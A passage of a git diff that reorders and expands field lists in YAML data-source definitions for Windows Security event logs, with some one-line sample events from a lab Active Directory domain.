- Guid + - Hashes + - host + - id + - Image + - IMPHASH + - index + - IntegrityLevel + - Keywords + - Level + - linecount + - Logon_ID + - LogonGuid + - LogonId + - MD5 + - Name + - name + - object + - object_attrs + - object_category + - object_id + - object_path + - Opcode + - original_file_name + - OriginalFileName + - os + - parent_process + - parent_process_exec + - parent_process_guid + - parent_process_id + - parent_process_name + - parent_process_path + - ParentCommandLine + - ParentImage + - ParentProcessGuid + - ParentProcessId + - PrivilegeList + - process + - process_current_directory + - process_exec + - process_guid + - process_hash + - process_id + - process_integrity_level + - process_name + - process_path + - ProcessGuid + - ProcessID + - ProcessId + - Product + - product + - punct + - RecordID + - RecordNumber + - registry_hive + - registry_key_name + - registry_path + - registry_value_data + - registry_value_name + - registry_value_type + - RegistryValueData + - RegistryValueType + - result + - RuleName + - SamAccountName + - SchemaVersion + - SecurityID + - service + - service_name + - session_id + - severity + - severity_id + - SHA1 + - SHA256 + - SidHistory + - signature + - signature_id + - source + - SourceImage + - SourceProcessGUID + - SourceProcessId + - SourceThreadId + - sourcetype + - splunk_server + - src + - src_nt_domain + - src_subject_user_id + - src_user + - src_user_name + - State + - status + - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime + - ta_windows_action + - ta_windows_security_CategoryString + - tag + - tag::eventtype + - tag::object_category + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetFilename + - TargetImage + - TargetObject + - TargetProcessGUID + - TargetProcessId + - TargetSid + - TargetUserName + - Task + - TaskCategory + - TerminalSessionId + - ThreadID + - TimeCreated + - timestamp + - User + - user + - user_group + - user_id + - UserID + - UtcTime + - vendor + - vendor_product + - Version output_fields: - dest example_log: '' diff --git a/data_sources/windows_event_log_security_4754.yml b/data_sources/windows_event_log_security_4754.yml index 81bd73fe37..ce81e55ae1 100644 --- a/data_sources/windows_event_log_security_4754.yml +++ b/data_sources/windows_event_log_security_4754.yml @@ -14,6 +14,176 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - app + - Caller_Domain + - Caller_User_Name + - CallTrace + - CategoryString + - change_type + - Channel + - CommandLine + - Company + - Computer + - Configuration + - ConfigurationFileHash + - CreationUtcTime + - CurrentDirectory + - Description + - description + - dest + - dest_nt_domain + - Details + - dvc + - dvc_nt_host + - Error_Code + - event_id + - event_time + - EventChannel + - EventCode + - EventData_Xml + - EventDescription + - EventID + - EventRecordID + - EventType + - eventtype + - file_create_time + - file_name + - file_path + - FileVersion + - granted_access + - granted_access_description + - GrantedAccess + - Group_Domain + - Group_Name + - Guid + - Hashes + - host + - id + - Image + - IMPHASH + - index + - IntegrityLevel + - Keywords + - Level + - linecount + - Logon_ID + - LogonGuid + - LogonId + - MD5 + - Name + - name + - object + - object_attrs + - object_category + - object_id + - object_path + - Opcode + - original_file_name + - OriginalFileName + - os + - parent_process + - parent_process_exec + - parent_process_guid + - parent_process_id + - parent_process_name + - parent_process_path + - ParentCommandLine + - ParentImage + - ParentProcessGuid + - ParentProcessId + - PrivilegeList + - process + - process_current_directory + - process_exec + - process_guid + - process_hash + - process_id + - process_integrity_level + - process_name + - process_path + - ProcessGuid + - ProcessID + - ProcessId + - Product + - product + - punct + - RecordID + - RecordNumber + - registry_hive + - registry_key_name + - registry_path + - registry_value_data + - registry_value_name + - registry_value_type + - RegistryValueData + - RegistryValueType + - result + - RuleName + - SamAccountName + - SchemaVersion + - SecurityID + - service + - service_name + - session_id + - severity + - severity_id + - SHA1 + - SHA256 + - SidHistory + - signature + - signature_id + - source + - SourceImage + - SourceProcessGUID + - SourceProcessId + - SourceThreadId + - sourcetype + - splunk_server + - src + - src_nt_domain + - src_subject_user_id + - src_user + - src_user_name + - State + - status + - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime + - ta_windows_action + - ta_windows_security_CategoryString + - tag + - tag::eventtype + - tag::object_category + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetFilename + - TargetImage + - TargetObject + - TargetProcessGUID + - TargetProcessId + - TargetSid + - TargetUserName + - Task + - TaskCategory + - TerminalSessionId + - ThreadID + - TimeCreated + - timestamp + - User + - user + - user_group + - user_id + - UserID + - UtcTime + - vendor + - vendor_product + - Version output_fields: - dest example_log: '' diff --git a/data_sources/windows_event_log_security_4756.yml b/data_sources/windows_event_log_security_4756.yml index a507ddf54d..8f3d71f280 100644 --- a/data_sources/windows_event_log_security_4756.yml +++ b/data_sources/windows_event_log_security_4756.yml @@ -14,6 +14,176 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - app + - Caller_Domain + - Caller_User_Name + - CallTrace + - CategoryString + - change_type + - Channel + - CommandLine + - Company + - Computer + - Configuration + - ConfigurationFileHash + - CreationUtcTime + - CurrentDirectory + - Description + - description + - dest + - dest_nt_domain + - Details + - dvc + - dvc_nt_host + - Error_Code + - event_id + - event_time + - EventChannel + - EventCode + - EventData_Xml + - EventDescription + - EventID + - EventRecordID + - EventType + - eventtype + - file_create_time + - file_name + - file_path + - FileVersion + - granted_access + - granted_access_description + - GrantedAccess + - Group_Domain + - Group_Name + - Guid + - Hashes + - host + - id + - Image + - IMPHASH + - index + - IntegrityLevel + - Keywords + - Level + - linecount + - Logon_ID + - LogonGuid + - LogonId + - MD5 + - Name + - name + - object + - object_attrs + - object_category + - object_id + - object_path + - Opcode + - original_file_name + - OriginalFileName + - os + - parent_process + - parent_process_exec + - parent_process_guid + - parent_process_id + - parent_process_name + - parent_process_path + - ParentCommandLine + - ParentImage + - ParentProcessGuid + - ParentProcessId + - PrivilegeList + - process + - process_current_directory + - process_exec + - process_guid + - process_hash + - process_id + - process_integrity_level + - process_name + - process_path + - ProcessGuid + - ProcessID + - ProcessId + - Product + - product + - punct + - RecordID + - RecordNumber + - registry_hive + - registry_key_name + - registry_path + - registry_value_data + - registry_value_name + - registry_value_type + - RegistryValueData + - RegistryValueType + - result + - RuleName + - SamAccountName + - SchemaVersion + - SecurityID + - service + - service_name + - session_id + - severity + - severity_id + - SHA1 + - SHA256 + - SidHistory + - signature + - signature_id + - source + - SourceImage + - SourceProcessGUID + - SourceProcessId + - SourceThreadId + - sourcetype + - splunk_server + - src + - src_nt_domain + - src_subject_user_id + - src_user + - src_user_name + - State + - status + - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime + - ta_windows_action + - ta_windows_security_CategoryString + - tag + - tag::eventtype + - tag::object_category + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetFilename + - TargetImage + - TargetObject + - TargetProcessGUID + - TargetProcessId + - TargetSid + - TargetUserName + - Task + - TaskCategory + - TerminalSessionId + - ThreadID + - TimeCreated + - timestamp + - User + - user + - user_group + - user_id + - UserID + - UtcTime + - vendor + - vendor_product + - Version output_fields: - dest example_log: 4756 0 0 13826 0 0x8020000000000000 4405437 Security atc-win-2k16.atc.local CN=demouser,CN=Users,DC=atc,DC=local S-1-5-21-2245550993-2690282630-2861202560-18603 Enterprise Admins ATC S-1-5-21-2245550993-2622282683-2531201460-519 S-1-5-21-2245550993-2622282683-2531201460-500 test_user ATC 0x109a6c - diff --git a/data_sources/windows_event_log_security_4759.yml b/data_sources/windows_event_log_security_4759.yml index 44d305da80..4ad942ba4e 100644 --- a/data_sources/windows_event_log_security_4759.yml +++ b/data_sources/windows_event_log_security_4759.yml @@ -14,6 +14,176 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - app + - Caller_Domain + - Caller_User_Name + - CallTrace + - CategoryString + - change_type + - Channel + - CommandLine + - Company + - Computer + - Configuration + - ConfigurationFileHash + - CreationUtcTime + - CurrentDirectory + - Description + - description + - dest + - dest_nt_domain + - Details + - dvc + - dvc_nt_host + - Error_Code + - event_id + - event_time + - EventChannel + - EventCode + - EventData_Xml + - EventDescription + - EventID + - EventRecordID + - EventType + - eventtype + - file_create_time + - file_name + - file_path + - FileVersion + - granted_access + - granted_access_description + - GrantedAccess + - Group_Domain + - Group_Name + - Guid + - Hashes + - host + - id + - Image + - IMPHASH + - index + - IntegrityLevel + - Keywords + - Level + - linecount + - Logon_ID + - LogonGuid + - LogonId + - MD5 + - Name + - name + - object + - object_attrs + - object_category + - object_id + - object_path + - Opcode + - original_file_name + - OriginalFileName + - os + - parent_process + - parent_process_exec + - parent_process_guid + - parent_process_id + - parent_process_name + - parent_process_path + - ParentCommandLine + - ParentImage + - ParentProcessGuid + - ParentProcessId + - PrivilegeList + - process + - process_current_directory + - process_exec + - process_guid + - process_hash + - process_id + - process_integrity_level + - process_name + - process_path + - ProcessGuid + - ProcessID + - ProcessId + - Product + - product + - punct + - RecordID + - RecordNumber + - registry_hive + - registry_key_name + - registry_path + - registry_value_data + - registry_value_name + - registry_value_type + - RegistryValueData + - RegistryValueType + - result + - RuleName + - SamAccountName + - SchemaVersion + - SecurityID + - service + - service_name + - session_id + - severity + - severity_id + - SHA1 + - SHA256 + - SidHistory + - signature + - signature_id + - source + - SourceImage + - SourceProcessGUID + - SourceProcessId + - SourceThreadId + - sourcetype + - splunk_server + - src + - src_nt_domain + - src_subject_user_id + - src_user + - src_user_name + - State + - status + - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime + - ta_windows_action + - ta_windows_security_CategoryString + - tag + - tag::eventtype + - tag::object_category + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetFilename + - TargetImage + - TargetObject + - TargetProcessGUID + - TargetProcessId + - TargetSid + - TargetUserName + - Task + - TaskCategory + - TerminalSessionId + - ThreadID + - TimeCreated + - timestamp + - User + - user + - user_group + - user_id + - UserID + - UtcTime + - vendor + - vendor_product + - Version output_fields: - dest example_log: '' diff --git a/data_sources/windows_event_log_security_4768.yml b/data_sources/windows_event_log_security_4768.yml index 72a021b5ab..edb1af2439 100644 --- a/data_sources/windows_event_log_security_4768.yml +++ b/data_sources/windows_event_log_security_4768.yml @@ -20,88 +20,85 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - app + - CertThumbprint - Channel - Computer + - dest + - dest_nt_domain + - dvc + - dvc_nt_host - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype - Guid + - host + - id + - index - IpAddress - IpPort - Keywords - Level + - linecount - Name + - name - Opcode - PreAuthType - ProcessID - - RecordNumber - - ServiceName - - ServiceSid - - Source_Port - - Source_Workstation - - Status - - SystemTime - - System_Props_Xml - - TargetDomainName - - TargetSid - - TargetUserName - - Target_Domain - - Target_User_Name - - Task - - ThreadID - - TicketEncryptionType - - TicketOptions - - Version - - action - - app - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dest_nt_domain - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - product - punct + - reason_id + - RecordNumber - service - service_id - service_name + - ServiceName + - ServiceSid + - severity + - severity_id - signature - signature_id - source + - Source_Port + - Source_Workstation - sourcetype - splunk_server - src - src_ip - src_nt_host - src_port + - Status - status - subject + - System_Props_Xml + - SystemTime - ta_windows_action - ta_windows_status - tag - tag::action - tag::eventtype - - timeendpos - - timestartpos + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetSid + - TargetUserName + - Task + - TaskCategory + - ThreadID + - TicketEncryptionType + - TicketOptions + - timestamp - user - user_group - vendor - vendor_product + - Version output_fields: - dest example_log: 4768001433900x8010000000000000391562Securitywin-dc-mvelazco-02713-392.attackrange.localRXETPKZHattackrange.localNULL SIDkrbtgt/attackrange.localNULL SID0x408100100x120xffffffff-::ffff:10.0.1.1564568 diff --git a/data_sources/windows_event_log_security_4769.yml b/data_sources/windows_event_log_security_4769.yml index 85f20a4617..8459aee2e5 100644 --- a/data_sources/windows_event_log_security_4769.yml +++ b/data_sources/windows_event_log_security_4769.yml @@ -20,88 +20,84 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - app - Channel - Computer + - dest + - dest_nt_domain + - dvc + - dvc_nt_host - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype - Guid + - host + - id + - index - IpAddress - IpPort - Keywords - Level + - linecount - LogonGuid - Name + - name - Opcode - ProcessID - - RecordNumber - - ServiceName - - ServiceSid - - Source_Port - - Source_Workstation - - Status - - SystemTime - - System_Props_Xml - - TargetDomainName - - TargetUserName - - Target_Domain - - Target_User_Name - - Task - - ThreadID - - TicketEncryptionType - - TicketOptions - - TransmittedServices - - Version - - action - - app - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dest_nt_domain - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - product - punct + - reason_id + - RecordNumber - service - service_id - service_name + - ServiceName + - ServiceSid + - severity + - severity_id - signature - signature_id - source + - Source_Port + - Source_Workstation - sourcetype - splunk_server - src - src_ip - src_nt_host - src_port + - Status - status - subject + - System_Props_Xml + - SystemTime - ta_windows_action - ta_windows_status - tag - tag::action - tag::eventtype - - timeendpos - - timestartpos + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetUserName + - Task + - TaskCategory + - ThreadID + - TicketEncryptionType + - TicketOptions + - timestamp + - TransmittedServices - user - user_group - vendor - vendor_product + - Version output_fields: - dest example_log: 4769001433700x8020000000000000148521Securityar-win-dc.attackrange.localAR-WIN-2$@ATTACKRANGE.LOCALATTACKRANGE.LOCALAR-WIN-2$ATTACKRANGE\AR-WIN-2$0x408100000x17::ffff:10.0.1.15591910x0{3b4ad75b-7184-6094-b975-ea3f91932ee0}- diff --git a/data_sources/windows_event_log_security_4771.yml b/data_sources/windows_event_log_security_4771.yml index 3a247d6869..4760250a01 100644 --- a/data_sources/windows_event_log_security_4771.yml +++ b/data_sources/windows_event_log_security_4771.yml @@ -20,82 +20,78 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - app - Channel - Computer + - dest + - dvc + - dvc_nt_host - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype - Guid + - host + - id + - index - IpAddress - IpPort - Keywords - Level + - linecount - Name + - name - Opcode - PreAuthType - ProcessID - - RecordNumber - - ServiceName - - Source_Port - - Source_Workstation - - Status - - SystemTime - - System_Props_Xml - - TargetSid - - TargetUserName - - Target_User_Name - - Task - - ThreadID - - TicketOptions - - Version - - action - - app - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - product - punct + - reason_id + - RecordNumber - service - service_name + - ServiceName + - severity + - severity_id - signature - signature_id - source + - Source_Port + - Source_Workstation - sourcetype - splunk_server - src - src_ip - src_nt_host - src_port + - Status - status - subject + - System_Props_Xml + - SystemTime - ta_windows_action - ta_windows_status - tag - tag::action - tag::eventtype - - timeendpos - - timestartpos + - Target_User_Name + - TargetSid + - TargetUserName + - Task + - TaskCategory + - ThreadID + - TicketOptions + - timestamp - user - user_group - vendor - vendor_product + - Version output_fields: - dest example_log: 4771001433900x8010000000000000391511Securitywin-dc-mvelazco-02713-392.attackrange.localALLISON_WATERSATTACKRANGE\ALLISON_WATERSkrbtgt/attackrange.local0x408100100x182::ffff:10.0.1.1564134 diff --git a/data_sources/windows_event_log_security_4776.yml b/data_sources/windows_event_log_security_4776.yml index af76586dde..2fde8ea3e0 100644 --- a/data_sources/windows_event_log_security_4776.yml +++ b/data_sources/windows_event_log_security_4776.yml @@ -20,73 +20,69 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - app - Channel - Computer + - dest + - dvc + - dvc_nt_host - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype - Guid + - host + - id + - index - Keywords - Level + - linecount - Name + - name - Opcode - PackageName - ProcessID - - RecordNumber - - Source_Workstation - - Status - - SystemTime - - System_Props_Xml - - TargetUserName - - Target_User_Name - - Task - - ThreadID - - Version - - Workstation - - action - - app - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - product - punct + - reason_id + - RecordNumber + - severity + - severity_id - signature - signature_id - source + - Source_Workstation - sourcetype - splunk_server - src - src_nt_host + - Status - status - subject + - System_Props_Xml + - SystemTime - ta_windows_action - ta_windows_status - tag - tag::action - tag::eventtype - - timeendpos - - timestartpos + - Target_User_Name + - TargetUserName + - Task + - TaskCategory + - ThreadID + - timestamp - user - user_group - vendor - vendor_product + - Version + - Workstation output_fields: - dest example_log: 4776001433600x8010000000000000391615Securitywin-dc-mvelazco-02713-392.attackrange.localMICROSOFT_AUTHENTICATION_PACKAGE_V1_0KSYLEFUAWIN-HOST-MVELAZ0xc0000064 diff --git a/data_sources/windows_event_log_security_4781.yml b/data_sources/windows_event_log_security_4781.yml index 32ee3e86b6..d169fa66c1 100644 --- a/data_sources/windows_event_log_security_4781.yml +++ b/data_sources/windows_event_log_security_4781.yml @@ -20,90 +20,86 @@ supported_TA: version: 11.0.3 fields: - _time + - action - ActivityID + - app - Caller_Domain - Caller_User_Name - CategoryString + - change_type - Channel - Computer - - Error_Code - - EventCode - - EventData_Xml - - EventID - - EventRecordID - - Guid - - Keywords - - Level - - Logon_ID - - Name - - NewTargetUserName - - OldTargetUserName - - Opcode - - PrivilegeList - - ProcessID - - RecordNumber - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - TargetDomainName - - TargetSid - - Target_Domain - - Task - - ThreadID - - Version - - action - - app - - change_type - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - dest - dest_nt_domain - dvc - dvc_nt_host + - Error_Code - event_id + - event_time + - EventCode + - EventData_Xml + - EventID + - EventRecordID - eventtype + - Guid - host - id - index + - Keywords + - Level - linecount + - Logon_ID + - Name - name + - NewTargetUserName - object - object_attrs - object_category - object_id + - OldTargetUserName + - Opcode + - PrivilegeList + - ProcessID - product - punct + - RecordNumber - result - session_id + - severity + - severity_id - signature - signature_id - source - sourcetype - splunk_server - src_nt_domain + - src_subject_user_id - src_user - src_user_name - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - ta_windows_security_CategoryString - tag - tag::eventtype - - timeendpos - - timestartpos + - Target_Domain + - TargetDomainName + - TargetSid + - Task + - TaskCategory + - ThreadID + - timestamp - user - user_name - vendor - vendor_product + - Version output_fields: - dest example_log: 4781001382400x8020000000000000148763Securityar-win-dc.attackrange.localAR-WIN-2$AdministratorATTACKRANGEATTACKRANGE\AR-WIN-2$ATTACKRANGE\AdministratorAdministratorATTACKRANGE0x141a04- diff --git a/data_sources/windows_event_log_security_4783.yml b/data_sources/windows_event_log_security_4783.yml index ed112d8efe..c1e1259b78 100644 --- a/data_sources/windows_event_log_security_4783.yml +++ b/data_sources/windows_event_log_security_4783.yml @@ -14,6 +14,176 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - app + - Caller_Domain + - Caller_User_Name + - CallTrace + - CategoryString + - change_type + - Channel + - CommandLine + - Company + - Computer + - Configuration + - ConfigurationFileHash + - CreationUtcTime + - CurrentDirectory + - Description + - description + - dest + - dest_nt_domain + - Details + - dvc + - dvc_nt_host + - Error_Code + - event_id + - event_time + - EventChannel + - EventCode + - EventData_Xml + - EventDescription + - EventID + - EventRecordID + - EventType + - eventtype + - file_create_time + - file_name + - file_path + - FileVersion + - granted_access + - granted_access_description + - GrantedAccess + - Group_Domain + - Group_Name + - Guid + - Hashes + - host + - id + - Image + - IMPHASH + - index + - IntegrityLevel + - Keywords + - Level + - linecount + - Logon_ID + - LogonGuid + - LogonId + - MD5 + - Name + - name + - object + - object_attrs + - object_category + - object_id + - object_path + - Opcode + - original_file_name + - OriginalFileName + - os + - parent_process + - parent_process_exec + - parent_process_guid + - parent_process_id + - parent_process_name + - parent_process_path + - ParentCommandLine + - ParentImage + - ParentProcessGuid + - ParentProcessId + - PrivilegeList + - process + - process_current_directory + - process_exec + - process_guid + - process_hash + - process_id + - process_integrity_level + - process_name + - process_path + - ProcessGuid + - ProcessID + - ProcessId + - Product + - product + - punct + - RecordID + - RecordNumber + - registry_hive + - registry_key_name + - registry_path + - registry_value_data + - registry_value_name + - registry_value_type + - RegistryValueData + - RegistryValueType + - result + - RuleName + - SamAccountName + - SchemaVersion + - SecurityID + - service + - service_name + - session_id + - severity + - severity_id + - SHA1 + - SHA256 + - SidHistory + - signature + - signature_id + - source + - SourceImage + - SourceProcessGUID + - SourceProcessId + - SourceThreadId + - sourcetype + - splunk_server + - src + - src_nt_domain + - src_subject_user_id + - src_user + - src_user_name + - State + - status + - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime + - ta_windows_action + - ta_windows_security_CategoryString + - tag + - tag::eventtype + - tag::object_category + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetFilename + - TargetImage + - TargetObject + - TargetProcessGUID + - TargetProcessId + - TargetSid + - TargetUserName + - Task + - TaskCategory + - TerminalSessionId + - ThreadID + - TimeCreated + - timestamp + - User + - user + - user_group + - user_id + - UserID + - UtcTime + - vendor + - vendor_product + - Version output_fields: - dest example_log: '' diff --git a/data_sources/windows_event_log_security_4790.yml b/data_sources/windows_event_log_security_4790.yml index 4636083cdf..48883e9588 100644 --- a/data_sources/windows_event_log_security_4790.yml +++ b/data_sources/windows_event_log_security_4790.yml @@ -14,6 +14,176 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - app + - Caller_Domain + - Caller_User_Name + - CallTrace + - CategoryString + - change_type + - Channel + - CommandLine + - Company + - Computer + - Configuration + - ConfigurationFileHash + - CreationUtcTime + - CurrentDirectory + - Description + - description + - dest + - dest_nt_domain + - Details + - dvc + - dvc_nt_host + - Error_Code + - event_id + - event_time + - EventChannel + - EventCode + - EventData_Xml + - EventDescription + - EventID + - EventRecordID + - EventType + - eventtype + - file_create_time + - file_name + - file_path + - FileVersion + - granted_access + - granted_access_description + - GrantedAccess + - Group_Domain + - Group_Name + - Guid + - Hashes + - host + - id + - Image + - IMPHASH + - index + - IntegrityLevel + - Keywords + - Level + - linecount + - Logon_ID + - LogonGuid + - LogonId + - MD5 + - Name + - name + - object + - object_attrs + - object_category + - object_id + - object_path + - Opcode + - original_file_name + - OriginalFileName + - os + - parent_process + - parent_process_exec + - parent_process_guid + - parent_process_id + - parent_process_name + - parent_process_path + - ParentCommandLine + - ParentImage + - ParentProcessGuid + - ParentProcessId + - PrivilegeList + - process + - process_current_directory + - process_exec + - process_guid + - process_hash + - process_id + - process_integrity_level + - process_name + - process_path + - ProcessGuid + - ProcessID + - ProcessId + - Product + - product + - punct + - RecordID + - RecordNumber + - registry_hive + - registry_key_name + - registry_path + - registry_value_data + - registry_value_name + - registry_value_type + - RegistryValueData + - RegistryValueType + - result + - RuleName + - SamAccountName + - SchemaVersion + - SecurityID + - service + - service_name + - session_id + - severity + - severity_id + - SHA1 + - SHA256 + - SidHistory + - signature + - signature_id + - source + - SourceImage + - SourceProcessGUID + - SourceProcessId + - SourceThreadId + - sourcetype + - splunk_server + - src + - src_nt_domain + - src_subject_user_id + - src_user + - src_user_name + - State + - status + - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime + - ta_windows_action + - ta_windows_security_CategoryString + - tag + - tag::eventtype + - tag::object_category + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetFilename + - TargetImage + - TargetObject + - TargetProcessGUID + - TargetProcessId + - TargetSid + - TargetUserName + - Task + - TaskCategory + - TerminalSessionId + - ThreadID + - TimeCreated + - timestamp + - User + - user + - user_group + - user_id + - UserID + - UtcTime + - vendor + - vendor_product + - Version output_fields: - dest example_log: '' diff --git a/data_sources/windows_event_log_security_4794.yml b/data_sources/windows_event_log_security_4794.yml index dbe5284202..8e52171dc6 100644 --- a/data_sources/windows_event_log_security_4794.yml +++ b/data_sources/windows_event_log_security_4794.yml @@ -20,39 +20,16 @@ supported_TA: version: 11.0.3 fields: - _time + - action - ActivityID + - app - Caller_Domain - Caller_User_Name - CategoryString + - change_type - Channel + - command - Computer - - Error_Code - - EventCode - - EventData_Xml - - EventID - - EventRecordID - - Guid - - Keywords - - Level - - Logon_ID - - Name - - Opcode - - ProcessID - - RecordNumber - - Source_Workstation - - Status - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - Version - - Workstation - - action - - app - date_hour - date_mday - date_minute @@ -62,39 +39,120 @@ fields: - date_year - date_zone - dest + - dest_nt_domain + - Details - dvc - dvc_nt_host + - Error_Code - event_id + - event_time + - EventChannel + - EventCode + - EventData_Xml + - EventDescription + - EventID + - EventRecordID + - EventType - eventtype + - Guid + - HandleId - host - id + - Image - index + - Keywords + - Level - linecount + - Logon_ID + - Name - name + - NewValue + - NewValueType + - object + - object_attrs + - object_category + - object_file_name + - object_file_path + - object_path + - ObjectName + - ObjectValueName + - OldValue + - OldValueType + - Opcode + - OperationType + - process + - process_exec + - process_guid + - process_id + - process_name + - process_path + - ProcessGuid + - ProcessID + - ProcessId + - ProcessName - product - punct + - reason_id + - RecordID + - RecordNumber + - registry_hive + - registry_key_name + - registry_path + - registry_value_data + - registry_value_name + - registry_value_type + - RegistryValueData + - RegistryValueType + - result + - RuleName + - SecurityID - session_id + - severity + - severity_id - signature - signature_id - source + - Source_Workstation - sourcetype - splunk_server - src - src_nt_domain - src_nt_host + - src_subject_user_id - src_user + - Status - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - ta_windows_security_CategoryString - ta_windows_status - tag - tag::action - tag::eventtype + - tag::object_category + - TargetObject + - Task + - TaskCategory + - ThreadID + - TimeCreated - timeendpos + - timestamp - timestartpos + - user + - user_id + - user_type + - UserID + - UtcTime - vendor - vendor_product + - Version + - Workstation output_fields: - dest example_log: 4794001382400x8020000000000000821077Securitywin-dc-root-17044-552.attackrange.localATTACKRANGE\AdministratorAdministratorATTACKRANGE0x959c5[fe80::b907:7694:d740:91bb]0x0 diff --git a/data_sources/windows_event_log_security_4798.yml b/data_sources/windows_event_log_security_4798.yml index f9c23c5c7c..ecee69d69a 100644 --- a/data_sources/windows_event_log_security_4798.yml +++ b/data_sources/windows_event_log_security_4798.yml @@ -19,80 +19,89 @@ supported_TA: version: 11.0.3 fields: - _time + - action - ActivityID - - CallerProcessId - - CallerProcessName + - app - Caller_Domain - Caller_User_Name + - CallerProcessId + - CallerProcessName + - change_type - Channel + - command - Computer + - dest + - dest_nt_domain + - dvc + - dvc_nt_host - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype - Guid + - host + - id + - index - Keywords - Level + - linecount - Logon_ID - Name + - name + - object + - object_attrs + - object_category + - object_id - Opcode + - process_name - ProcessID - - RecordNumber - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - TargetDomainName - - TargetSid - - TargetUserName - - Target_Domain - - Target_User_Name - - Task - - ThreadID - - Version - - action - - app - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dest_nt_domain - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - product - punct + - RecordNumber + - result - session_id + - severity + - severity_id + - signature - signature_id - source - sourcetype - splunk_server + - src - src_nt_domain + - src_subject_user_id - src_user + - src_user_name - status + - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - tag - - tag::action - tag::eventtype - - timeendpos - - timestartpos + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetSid + - TargetUserName + - Task + - TaskCategory + - ThreadID + - timestamp - user - user_group + - user_name - vendor - vendor_product + - Version output_fields: - dest example_log: 4798001382400x8020000000000000386860Securityar-win-2.attackrange.localGuestAR-WIN-2AR-WIN-2\GuestAR-WIN-2\AdministratorAdministratorAR-WIN-20x2f4df40x1590C:\Windows\ImmersiveControlPanel\telegram\telegram.exe diff --git a/data_sources/windows_event_log_security_4876.yml b/data_sources/windows_event_log_security_4876.yml index 4a93ee7e35..393e8a2c9b 100644 --- a/data_sources/windows_event_log_security_4876.yml +++ b/data_sources/windows_event_log_security_4876.yml @@ -20,57 +20,51 @@ supported_TA: version: 11.0.3 fields: - _time + - action - ActivityID + - app - BackupType - Caller_Domain - Caller_User_Name + - change_type - Channel + - command - Computer + - dest + - dest_nt_domain + - dvc + - dvc_nt_host - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype - Guid + - host + - id + - index - Keywords - Level + - linecount - Logon_ID - Name + - name + - object + - object_attrs + - object_category + - object_id - Opcode - ProcessID - - RecordNumber - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - Version - - action - - app - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - product - punct + - RecordNumber + - result - session_id + - severity + - severity_id - signature - signature_id - source @@ -80,14 +74,23 @@ fields: - src_user - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - tag - - tag::action - tag::eventtype - - timeendpos - - timestartpos + - 